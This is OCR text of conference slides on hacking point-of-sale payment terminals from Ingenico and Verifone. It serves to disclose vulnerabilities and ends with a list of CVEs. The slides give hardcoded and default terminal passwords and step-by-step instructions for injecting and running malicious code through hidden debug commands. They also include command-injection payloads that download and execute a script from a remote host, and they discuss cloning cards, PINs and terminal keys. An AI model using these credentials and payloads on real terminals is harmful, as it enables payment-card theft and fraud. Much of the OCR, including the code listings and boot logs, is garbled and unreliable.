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Evaluation Module 1: Physical and Logical Requirements

A - Physical Security Requirements P O SWO rl d e q U | rements

Note: In the following requirements, the device under evaluation is referred to as the “device.”

Number Description of Requirement

A1 The device uses tamper-detection and response mechanisms that ] O W httDS //WWW DCiSECU ritvsta nda rds o) rg/
cause it to become immediately inoperable and result in the automatic - - : ]
and immediate erasure of any sensitive data that may be stored in the documents/PCI PTS POl SRs v4 Flnal.pdf

device, such that it becomes infeasible to recover the sensitive data.
These mechanisms protect against physical penetration of the device

by means of (but not limited to) drills, lasers, chemical solvents, htt S //WWW pcisecuritystandards.o rg/
opening covers, splitting the casing (seams), and using ventilation
openings. dOCUfﬂEﬂtS/PCl PTS POl SRs V6.pdf
A2 There is no demonstrable way to disable or defeat the tamper O O O
mechanism/s and insert a sensitive key-press-disclosing bug. httpS'//WWW DCiSECU ritvsta ndards org/
Keypads used for PIN entry require an attack potential of at least 26 per . .
device for identification and initial exploitation, with a minimum of 13 for documents/pos ped SECUI’ItV reqwrements-pdf

exploitation, exclusive of the IC card reader, as defined in Appendix B.

Keypads used for manual PAN entry, but not PIN entry—e.g., a non-
PED—require an attack potential of at least 16 per device for
identification, with a minimum of 8 points for exploitation.®

A3 The security of the device is not compromised by altering: O O O
* Environmental conditions
= QOperational conditions

(An example includes subjecting the device to temperatures or
operating voltages outside the stated operating ranges.)

Ad Sensitive functions or data are only used in the protected area(s) of the O O O
device. Sensitive data and functions dealing with sensitive data are

protected from unauthorized modification without requiring an attack

potential of at least 26 for identification and initial exploitation, with a

minimum of 13 for exploitation, exclusive of the IC card reader, for

identification and initial exploitation.®



https://www.pcisecuritystandards.org/documents/PCI_PTS_POI_SRs_v4_Final.pdf
https://www.pcisecuritystandards.org/documents/PCI_PTS_POI_SRs_v4_Final.pdf
https://www.pcisecuritystandards.org/documents/PCI_PTS_POI_SRs_v6.pdf
https://www.pcisecuritystandards.org/documents/PCI_PTS_POI_SRs_v6.pdf
https://www.pcisecuritystandards.org/documents/pos_ped_security_requirements.pdf
https://www.pcisecuritystandards.org/documents/pos_ped_security_requirements.pdf

What do PCI Council require?

* Don’t store/send/process sensitive data without encryption
* PIN
* Track2 data
 CVV2/CVC3/CID

* Use tamper detection
* Act: delete “sensitive data” (encryption keys, payment app)

* Indicate that the device has been compromised



What do PCI Council require?

* Don’t store/send/process sensitive data without encryption
* PIN
* Track2 data
e CVV2/CVC3/CID

* Use tamper detection

* Act: delete “sensitive data” (encryption ke
* Indicate that the device has been compro
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POS terminals vs Cash Registers

Cash Registers
JSUE PoS systems




POS terminals vs Cash Registers
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ADVANTIO =

Malware is a successful method to
hack PoS and steal Customers Data

0 lgor Mancini December 9, 2015

Target

Target is one of the best known American brands, famous for selling miscellaneous goods that

range from clothing to CDs to groceries. But in 2013 the retailer hit the headlines for an entirely
different reason when it emerged that the company had been affected by a hack that left over

40 million Target customers at risk of credit card fraud, while 70 million others had personal

information (such as email addresses) stolen during the breach.



pos hack ‘!f Q

About 367,000 results (0.29 seconds)

www.youtube.com » watch

#CyberHeadlines - POS Hack - YouTube

15 Nov 2016 - Uploaded by Social27?

www. youtube.com » watch

#HITBGSEC 2017 Conf D1 - Get To The Money: Hacking PoS ...
e

L,
BT
ib.u i
1 e L e ]
] - A d

(e & 8L T

27 Sep 2017 - Uploaded by Hack In The Box Security Conference

www.youtube.com » watch

Jackson Thuraisamy & Jason Tran - Hacking POS PoS ...
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Payment terminals allow for remote PIN
capture and card cloning

. https://srlabs.de/

https://www.researchgate.net/figure/Modified-Chip-and-PIN-
terminal-playing-Tetris_fig3 230839731

blg?':k hat

UsA 2018

FOR THE LOVE OF MONEY

Finding and exploiting vulnerabilities in mobile point of sales
systems

LEIGH-ANNE GALLOWAY & TIM YUNUSOV

POSITIVE TECHNOLOGIES




On the Origin of POSWorld Species

GET INSIDE
) OF THAT,
PLEASE,




Instead of hardware intro

Common security mechanisms and anti-tampering. gid &

Tampering examples

P Pl o) 8:14/3512

PoS Terminal Security Uncovered - Aleksei Stennikov

https://www.youtube.com/channel/UCivO-5rpPcv89W1t80kBW21Q - DEFCON Payment Village
https://youtu.be/oyUD7RDJsJs - POS HW details



https://youtu.be/oyUD7RDJsJs
https://youtu.be/oyUD7RDJsJs

Weaponizing your POS




How to weaponize your Ingenico Telium2 POS
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Ingenico Telium2 15t step

Just maintain it

[ (= comz - WLz EKY:

& COM2 Connected (iWL2xx - 00001934-90011054)

=
W R-E0 € @
2% /HoST
=1 Filter:
(= HOST . : T
= SwAP Filename Exte... Size Type Modified

110,2Mb available space on "/HOST" | 0 visible item in "HOST"
Local file

1 selected item
Terminal file

Progress

<@ Plugged terminals | g Transferta;k;:
5. Device

Telium range  Description Identifier
& come Telium 2 WL2c

00001934-90011054




Ingenico Telium2 15t step

All vendors love hardcoded passwords

PPP connection in LLT mode:
* pppuser:123456

internal FTP service in LLT mode:
* ftpuser: 123456

* maint: 51966

* system: 31415926




Ingenico Telium?2 2"9 step

Magic NTPT3 protocol on TCP/6000 port.

bypass file reading restrictions (i.e. “SYSTEM/SSL.CFG”)

SOCKET_TASK Buffer overflow
RemotePutFile command buffer overflow
0x26 command buffer overflow

e COM2 - T
Q COM2 Connected (WL - G000 1834 90011054)

HOST
(AT =



Ingenico Telium?2 3™ step

Trace it

Some config magic:
1. load the text file named “SYSTEM.CFG” with the following
contents to the /SWAP/ directory:

ThunderII specific

TWI

VES operations

Display this menu again

TRACE_DEV=5 7
LDBG DEV:O File Options About 7

- . . Debug channel 1 AP Trace;Main app debug=

2. Restart the terminal. TRACE mode on USB is now enabled. |:ii: meipr o 1100 of 211 supperced commands. ..
Command-line interface prompt is “TRC >". To work in this === sasen sonete -----
| i isplay info

mode, use the custom tool or “Trace.exe” tool also | i
provided by Ingenico for terminal software developers Q i s

. . . jin USB
working with Telium 1 and 2 | 515




Ingenico Telium?2 3™ step

Trace it — hidden commands

File Options About

Debug channel 1 AP| Trace | Main app debug.

ts - Task Status Display

Sagem Monetel

tsd - Task Status Display (with dumps) e Ry

ms - Mailbox Status Display Sy it

gs - Queue Status Display : g%gplay B A
ps - Pipe Status Display 2 Stk M

ss - Semaphore Status Display | B G i marens i

es - Event Status Display
si - Signal Status Display

tl - Tlmer Status Dlsplay =w%x*» Partition Status Display *#*%#xx
pm - Partition Status Display [scare Address:  D00E0000 D00BOGOD DOOADGOO DOGEO00D
oy . N Pool Size: 32768 86016 86016 24576
pmd - Partition Status Display (with dumps) parcicion Size: 24 76 76 32
| i § 1024 958 937 599
dm - Dynamic Memory Status Display | = 0 66 87 15
| Suspend ?y{_}e: : FIFC FIFO FIFO FIFO
dmd - Dynamic Memory Status Display (with dumps) [rivac Task Waicing:  WOME  WoNE W wowr

hs - HISR Status Display ac >
'F-E




Ingenico Telium?2 3™ step

Trace it — full control

Use the help command to list all available commands. The
program functions allow:

Allocating and deallocating memory

Displaying the contents of all files on the terminal file
system, including encryption keys

Suspending and terminating processes

Debug window channel 1 4
help i
Far S Sagern MDnEtE-I FAAEAAEES
ML pisplay Mmu info
fs Display F5 info
oemc Display OEMC info
mmC Display MMC info
pme Display Pwr mgt info
usb UsSE
5V5 SYS
£z ThunderII specific
Twi TWI
vTs VFS operations
help Display this menu again
TRC >
s
FS 0300 - B200361384
exit Return to main menu
help Display this menu again
Tist Disk & fFiles 1info
open [name] Open a Tile
read Read opened file
link [adr] Display Flash linked blocks
dump [adr] Dump Flash block
map display flash mapping
free display free blocks table
obj display object 1ink table
bad display bad blecks table
mp mapping page
mo [Ident] mapping abject ident
blockdump [adr] [nb blocks] Dump blocks
linktable [Ident] display 1ink table
mt [typ] mapping page type
diag display Flash diag.
ver verify
Erase [adr] Erase Flash block
Eraseall Erase All Flash block W

SEND | CLEAR SAVE




Ingenico Telium?2 3™ step

Trace it — full control

1. Allocate memory space using the Alloc command available
in the Debug window channel 1 window, in the mmu menu.

2. Write any malicious executable code in hexadecimal form
using the sm command available in the main menu.

3. Suspend the task named PMC by using the hidden
NU_Suspend Task command.

4. Using the sm command, modify one of the return
addresses for the PMC task so that it points to the memory
space containing malicious code allocated by the attacker.

5. Resume the PMC task using the NU_Resume_Task
command.




How to weaponize your VerixV POS




Verifone VerixV 1t step

The password haven’t changed from 80’s

Full Download to a Terminal with no Existing
Applications

When you turn on a terminal with no application loaded, it displays DOWNLOAD NEEDED, and a
full download is required. Table 1 instructs you how to perform a full download.

Table1  Perform a Full Download !".'I EFJ I :: T EF'M IHHL HGP

Press F2+F4 to enter system mode before the application starts.

Enter the system mode password (manufacturer's default is 1 [ALPHA] [ALPHA] 66831")
and press the enter ) key.

Press the | key twice to access the SYS MODE MENU 3 screen.

Press EDIT F3 to edit the CONFIG.SYS file

Press the backspace ( key and enter the target GID for the download or press the
enter (@) key to select FILE GROUP _1, the default, GID1.

Reenter the system mode password (Z66831) if prompted, as shown in step 2.

The terminal displays the CONFIG.SYS file.

Press the enter (@) key to edit the CONFIG.SYS file.
The terminal displays KEY.

https://www.databreaches.net/verifone-statement-on-default-password-z66831/



https://www.databreaches.net/verifone-statement-on-default-password-z66831/

Verifone VerixV 2"9 step

* What do they hide from you?

Internal filesystems:

"I:" — RAM drive;

"F:" —NAND Flash drive;

"N:" — NAND Flash drive Verix eVo OS extentions;

"B:" — Boot Block. Physical address 0x00010000;

“S.”, “T.7, “U”, “V”, and “W:” — some additional filesystem drives;

*drives "B:", “S:”, “T.”, “U.”, “V.”, and “W:” are reserved and written by Verix OS during production



Verifone VerixV 2"9 step

* The gift from developers (secret player)

T:SHELL.OUT - ssshell

RUN/RUNW - run a process;

DUMP — hexdump format file read;

DIR/DIRO/DIRA — file list output command variations;
PS — process list;

MEM — memory usage;

RES — pinpad restart;

DL — terminal file load;

Etc...

*GO=T:SHELL.OUT
*ARG="/DEV/COM1"



Verifone VerixV 2"9 step
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e
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* The gift from developers (secret player)

EP COME - PuTTY




Verifone VerixV 3™ step

* The bugs




Verifone VerixV 3" step — final shot

* The bug in sysca

@

0 CO 0O 0O D0 0O GO
0o W F

0
5]

0w 0000
(SR

w0
=N

char v71; //f r@
int w72; // r@

int w73; // rl

bool w74; // zf
int v75; // re

unsigned int v78; // rl
int w77; // rl

int v78; // ro

_ intls v79; //
__intls vae; //
_ intls va1; //
__intl6 wB2; // r1

char sRandName[9]; // [sp+@h]
unsigned _ int8 ticks[4]: //
int v85; // [spt+leh]
char dst[32]; //

_ int8 pe[32]; //
char *v88; // [sp
proc_meta *v89; // [
LIB HEADER *vo@[32];
ir meta H

B
r3
ra

23 04

EFys
int va4; f/ [
char *vas; //
int v

struc_38 al; //
int *vod; // [
int *v99; //

int (__fastcail ”pFuﬁcs)(int, const unsigned _ int8 *, int); // [sp+l2eh] [bp-3eéh

const char *_fname; // 4h

char *v102; // [sp+128h] [bp-28h
int eeeeee; // [sp+l2Ch] [bp-24h]
fnam fname;

182 = (char *)parms;

see flags;
Va2 = 1;

3 = endswith(fname, " /");

8
if

i
i

[bp-2Ch]

el R R R R R )

[ R R R R R R R R o R R R R B R o )
IR0 00 00 0000000000000 0
RO R0 0 RO S
[ R R B R i i R R i
DD 00D 00000000060 ®

B HO 0000600 R R ® O

[ R )
2O 0 ® O
[ R R
DO 00606 60

BeBee 1

6
5
3
3
3
2
2
2
2
2

sRandName

VEF:FS
var_F4

proc_meta_start

var_7@
var_6C
var_EG8
var_g4
var_g@
al

var_38
var_34
pFuncs
_fname
var_28
ceceee

end o

change type (data/a

rename

stack

DCEB
DCB
DCEB
DCB
DCB

oD

DCB
DCB
DCo
oD
DCo
oD
Do
DCo
Do
DCo
s}

represent return add
Purge: @

9 dup(?)
? ; undefined

? ; unde
? ; undefined
4 dup(?)

H

32 dup(?)
32 dup(?)
?
?
32 dup(?)
?

)

struc_3@ ?

s}
DCo
oco
DCo
oco
DCo

Sttt a

variables



Verifone Verix - Special Move

e Ancient Secure boot

O stage bootloader

Signature check based on OTP secret

1st stage bootloader
Signature check cert based

2nd stage bootloader...
Another signature check
OS
And another signature check
Application



Verifone Verix - Special Move

SBI V. 03_04 (Jan 13 2013 22:14:13)

SEARCHING USB STICE

USE NOT FCOUND

LOADING FROM NAND

Read from nand 0x771e0 bytes in €3 mili seconds
Vx File Ruth using PedGuard

e Ancient Secure boot

Authenticated 0x771la0 bytes in 75 mili seconds
Loaded VX Module RAM at [ 40000000 .. 42000000

PF @ 0x40020E2C wvia:2 ct:2866 sts:52 last:1 raw:1 en:0 T=30789548
ET=41D28031 CCo=40265DBS IS=4002ZE0D%
TS=1232832072

Pf @ 0x40020E2C via:2 ct:2867 sts:52 last:1l raw:1l en:0 T=4294834105
ET=41D28031 CC=402659DBS IS=40022E09% R43=0 R44=0

Fhddkddkdddddddkd TERIX initializing #*#d&ddddddddd 03/20/2017 QTO00500
HEAP_ MGR

System Reset wvalus rDMU RST LAST = Oxl

UNCACHED: 200 EB at 49FCA000

DVIC MGR

IDetected chip 58920400: using rev D FLASH controller
rNANDZ ONFI_STATUS = 03000000

ENAND2_DEVICE_ID = 2CRl8015

rNAND2 DEVICE ID X = 02000000

ROM size 128 MB

NF2_set_feature(l, 04000000)

NF2_get_feature (1)=04000000

Timing mode=4

rNAND2 ACC_CTL CS1=C3040010

ECC type=4 supported

T1=11211115: tWE=15 tWH=15 tRP=30 tREH=15 tC3=15 tCLH=13 tALH=15 tADL=73
T2=00000E43: tWB=105 tWHR=60 tRERD=45

FLASH SIZE_MB = 128
BLOCES = 1024
CLUSTER_SIZE = 2048

Drive (I:) has 240 files using 802 EB
Drive (F:) has 71 files using 1662 EB
Drive(8:) has 2¢ files using 348 EB
Drive (N:) has 322¢ files using €676 EB
vEfs: v2n[b=0 p=0 i1=0]=10

verify file system: 0 errors



Verifone Verix - Special Move

1int _ ecdecl main_like(int arg, int a2}
* SBI BootLoader )
3| dnt w2 S 4
4| BOOL w4; // [sp+Bh] [bp-18h]
A periph_process() == 1;
7| if ( sub_189B64() != @xB2D58B32 )
S|LABEL_4:
1@ if ( lwd )
11 goto LABEL_9;
12 goto LABEL_5;
13}
14| if ( lwd )
16 doXDL(&va);
17 goto LABEL_4;
19|LABEL_5:
28| if ( script_load("PSS5BI.SCR"™) )
21
22 unleoad_stuff();
23 print(\n= SCRIPT ENDED™);
24 print{"\n SBI V. %s (¥s ¥s) ***", "@3_@8", "Dec 9 2013", "11:88:39", vd);
25 print{"\n PLEASE REMOVE USB STICK ***");
26 print("\n *** THE SYSTEM WILL RESTART IN 18 SECONDS ***\n"});
27 v2 = BCM Get_TimerlValue(lu);
28 while ( (unsigned int)}({w2 - BCM_Get TimerlValue(lu)) < @x3938768 )
29 H
El reset_tgt(18);
31| %
32 |LABEL_9:
33| unload_stuff();
341 JMP2NANDC( )3
35| print("\n==== RESET TARGET");
36| reset_tgt(le);
370 return 8;
38}



Verifone Verix - Special Move

signed int _

{

astcall check_bootHeader(int al, char *data, unsigned int len)

Wohd

unsigned int _len; // r4
signed int w4; // r@
void *wS; // r@

* SBI BootLoader - arbitrary memory write | =% 57"

Jmown s

3| struc_upleadedFiles *va;
9| char *_data; // [sp+eh]
12 1=
13| w4 = dword_1825E8;
14| if ( dword_1825E8 < @ )
15| {
16 v4 = loaded_file_already contains(loaded_file.fname);
dword_1825E8 = v4;
18 if ((va <@ )
19 return -1;
99 case 'W': // Download file 28| }
v = -B;3 - +
if ( dword_18748@ > B ) ; Ef ( BOOT_loadaddr )
¢ v (int *)(this-»paBufIn + 2}; 23 .C: = &dwriles[val;
’ XDL_Recv_ (this, (char *)vie, 2, 1@, 1) == 2; 24 if ( tva->loadaddr )
while ( vi1 ) 25 1
{ 26 loaded_files_size += loaded_file.size;
v12 = *(unsigned _ int8 * 27 vI->loadAddr = BOOT_loadAddr;
= *({unsigned _ 28
v18 = &dword_1879F8; 29 memepy ( (char *)(vi->loadAddr + XDL_file_ChunkOffset), _data, _len);
loaded_file.datalen = (v12 ; 38 XDL_file_ChunkOffset += _len;
i‘Fb( lﬁaded_file.dataLen + 18 > this-»paBufIn_size_éx48@ ) 31 return 1;
reak; =
14 = XDL_Recv_ (this, this-»paBufIn + 4, 4, 1@, 1); 3i }. . . . 1o
- in e 4 33| w5 = dwFiles_allec(XDL_file, XDL_file_ChunkOffset + _len);
—a 5 34 )(?:L?f:i.le ? (boot_hdr *)v5;
350 1 w5
loaded_file.field_3A = this->paBufIn[7] 36| return -1; )
+ (this->paBufIn[4] << 24) 37| memcpy((char *)u5 + XDL_file_ChunkOffset, _data, _len);
+(t -»paBufIn[5] << 18) 38| w6 = XDL_file_ChunkOffset + _len;
128 + (this-»paBufIn[6] << 8); 39| XDL_file_ChunkOffset = vi;
121 if ( loaded_file.datalen + 2 != XDL_Recv_ (this, this->paBufIn + 8, loaded_file.datalen + 2, 18, 1) ap| if ( ve <= oxdd ) // sizeof(struct boot_hdr)
122 || !'sub_195EF6(this-»paBufIn + 1, loaded_file.datalen + 9) ) 41 return 1;
123 42| if ( XDL_file->signature == @xA19BC38F && XDL_file->type )// boot header magic
124 return -1; 43
2 ! 44| BOOT loadAddr = XDL_file->load_addr;
126 BCM_URTx_write_char(this, 6u); 45 memc;_:»y((-:ha' '=)BDDT_loadAddr, ?-:ha’,”)XDL file, vB);
127 if ( check_bootHeader(dword_187A@@, this-»paBufIn + 8, loaded_file.datalen) »= @8 ) ar f XDL_file); - -
128 goto LABEL_45; - ree(XDL_file);
129 return v2; - 47 XDL—flle =8
a0 ) 48|LABEL_12:
131 } 49 dwFiles[dword_1825E8].loadAddr = BOOT_loadAddr;
132 t ] return 1;
133 break; 51| }



Verifone Verix - Special Move

#P COMB - PuTTY - O X

e Ancient Secure boot




How to weaponize your Verifone MX




Verifone MX — DOOMed POS

Home > Admin > File Manager

Touch Panel Config Communication Date/Time File Manager Power Settings +

Path. /mnt/usbstor1

DIR |lulz; chmod +x$IFS

DIR |lulz; cp$IFS

DIR |lulz; sh$IFS

DIR |lulz; touch$IFS

DIR |lulz;$IFS

lulz;chmod +x exploit.sh;#
lulz;curl 10.42.0.1 -0 exploit.sh;#
lulz;sh exploit.sh;#

screenshots

secins_race

share
t.sh

Exploit!!

-
-

A | | ' -
AMMLY | HEALTH jH-’—iMb ‘(‘g AdMoOr

https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEF%20CON%2025%20-
%20trixr4skids-DOOMed-Point-of-Sale-Systems-UPDATED.pdf

https://www.nolanray.com/doomed-pos-systems



https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEF%20CON%2025%20-%20trixr4skids-DOOMed-Point-of-Sale-Systems-UPDATED.pdf
https://www.nolanray.com/doomed-pos-systems

Verifone MX - Specia

 Almost Secure boot

==== SBI V. 03_08 (Dec 9 2013 11:08:29)

==== SEARCHING USE STICE

==== LOADING FRCM MNZND

= Read from nand 0x21lbal bytes in 24 mili seconds
==== wvault File Auth using PedGuard

==== Authenticated 0x21b&0 bytes in 40 mili seconds
==== Loaded Security Module

=== Read from nand 0x62200 bytes in €% mili =seconds
= uboot File Ruth using PedGuard

==== Authenticated 0x621c0 bytess in 57 mili seconds
0.000000] Linux version 2.6.31.14 (jenkins@rixlvbuild4) (gcocc version 4.4.1 (Sourcery G++ 4.4-290) ) #1 PREEMPT Wed Apr &

00:18:39 EEST 2016 armvél GNU/Linux

0.000000] CPU: ARMvE-compatible processor [tl117b365] revision 5 (ARMvETEJ), cr=00c5387d

0.000000] CPU: VIPT aliasing data, VIPT aliasing instruction cache

0.000000] Machine: Verine VN210x Chip I

0.000000] Memory policy: ECC disabkled, Data cache writeback

0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 32512

0.000000] Fernsl command line: root=/dev/raml ubi.mtd=2 console=tty0 console=ttyAMAO,115200nx kmemleak=off 1lpj=1954752

video_deccder mtdpart5=vf2lpx_nand:384k(5bi},3?l2k(raw},—(5y5tem)

0.000000] kmemleak: EKernel memory leak detecr disabled

0.000000] PID hash table entries: 512 (order: 9, 2048 bytes)

0.000000] Dentry cache hash table entries: 16384 (order: 4, 6553& bytes)

0.000000] Ide-cache hash table entries: B192 (order: 3, 327&8 bytes)

0.000000] video_decoder found

0.000000] VdecHeapSize: wvdec heapsize = 0x400000 bytes

0.000000] bootmemheap setup: total heapsize = 0x400000 bytes = 1024 pages

0.000000] bootmemheap setup: Allocated 1024 pages at 0xB80507000.

0.000000] Memory: 128MB = 128MB total

el (el lan ]

L B B B B B B B



POSWorld rule #1

If PCI Council doesn’t require it —we don’t need it
* Deleting firmware
* Wiping keys properly
* And more...




POSWorld rule #2

“Your proprietary hideness”
* Proprietary OS

* Proprietary outputs

* Proprietary protocols

* Special modes, killswitch combinations




What can and can’t you do

Verifone VX, MX series Ingenico
(no dedicated chip for | (dedicated chip for
cryptography) cryptography)
Send arbitrary packets + +
Clone cards + +
Clone terminals + -
Persistency + -



Cloning cards and PINs
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Cloning cards and PINs
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Cloning cards and PINs
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Cloning terminals

* Clone network encryption keys (located on the FS)
* PIN encryption key

* MAC key

* bbl key — encrypted storage key
 KBPK — integrity control key




Weaponising terminals
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MERCHANT ACQUIRER CARD BRANDS ISSUER
Hiackees Card Fraud in a PSD2 World: A Few

Examples

https://www.cyberdlab.com/insights/card-fraud-in-a-psd2-
world-a-few-example%D1%84s

Head of Offensive Security Researc h




Ingenico (Telium2 OS)

 CVE-2018-17767 - Hardcoded PPP credentials
 CVE-2018-17771 - Hardcoded FTP credentials
 CVE-2018-17774 - Insecure NTPT3 protocol
 CVE-2018-17768 - Insecure TRACE protocol
 CVE-2018-17765 - Undeclared TRACE protocol commands

* CVE-2018-17766 - NTPT3 protocol - file reading restrictions bypass

* CVE-2018-17769 - Buffer overflow via the 0x26 command
 CVE-2018-17770 - Buffer overflow via the ‘RemotePutFile’ command
 CVE-2018-17772 - Arbitrary code execution via the TRACE protocol
 CVE-2018-17773 - Buffer overflow via SOCKET _TASK in the NTPT3 protocol




Verifone (MX900):

 CVE-2019-14711 - Race condition privilege escalation
 CVE-2019-14713 - Installation of unsigned packages.

* CVE-2019-14718 - Insecure Permissions

* CVE-2019-14719 - Multiple arbitrary command injections
Verifone (VerixV):

* CVE-2019-14712 - Integrity and origin control bypass
 CVE-2019-14717 - Buffer Overflow in Verix OS core

* CVE-2019-14716 - Undocumented physical access mode
Verifone (OS independent):

 CVE-2019-14715 - Undocumented physical access to the system



Open guestions

* Is there more bugs in Ingenico?
* |s there more bugs in modern versions of POS?




Kudos

* Dmitry Sklyarov @ _Dmit
* Egor Zaitsev @groke1105
* Vladimir Kononovich @KononovichVI
* Artem Ivachev @ivachyou
* Maxim Kozhevnikov
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